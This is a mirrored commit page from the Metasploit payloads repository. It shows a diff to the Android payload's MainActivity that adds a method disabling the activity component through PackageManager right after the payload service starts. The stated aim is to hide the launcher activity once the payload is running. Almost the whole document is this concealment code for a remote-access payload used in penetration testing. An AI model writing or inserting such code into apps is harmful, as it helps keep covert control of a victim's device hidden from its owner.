mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-28 06:13:03 +01:00
Land #104, Android payload: hide MainActivity from the app switcher after launch
This commit is contained in:
commit
44b3df5ea7
@ -1,14 +1,27 @@
|
|||||||
package com.metasploit.stage;
|
package com.metasploit.stage;
|
||||||
|
|
||||||
import android.app.Activity;
|
import android.app.Activity;
|
||||||
|
import android.content.ComponentName;
|
||||||
import android.content.Intent;
|
import android.content.Intent;
|
||||||
|
import android.content.pm.PackageManager;
|
||||||
import android.os.Bundle;
|
import android.os.Bundle;
|
||||||
|
|
||||||
public class MainActivity extends Activity {
|
public class MainActivity extends Activity {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void onCreate(Bundle savedInstanceState) {
|
protected void onCreate(Bundle savedInstanceState) {
|
||||||
super.onCreate(savedInstanceState);
|
super.onCreate(savedInstanceState);
|
||||||
startService(new Intent(this, MainService.class));
|
startService(new Intent(this, MainService.class));
|
||||||
|
disableActivity();
|
||||||
finish();
|
finish();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void disableActivity() {
|
||||||
|
PackageManager packageManager = getPackageManager();
|
||||||
|
ComponentName componentName = new ComponentName(getApplicationContext(),
|
||||||
|
MainActivity.class);
|
||||||
|
packageManager.setComponentEnabledSetting(componentName,
|
||||||
|
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
|
||||||
|
PackageManager.DONT_KILL_APP);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user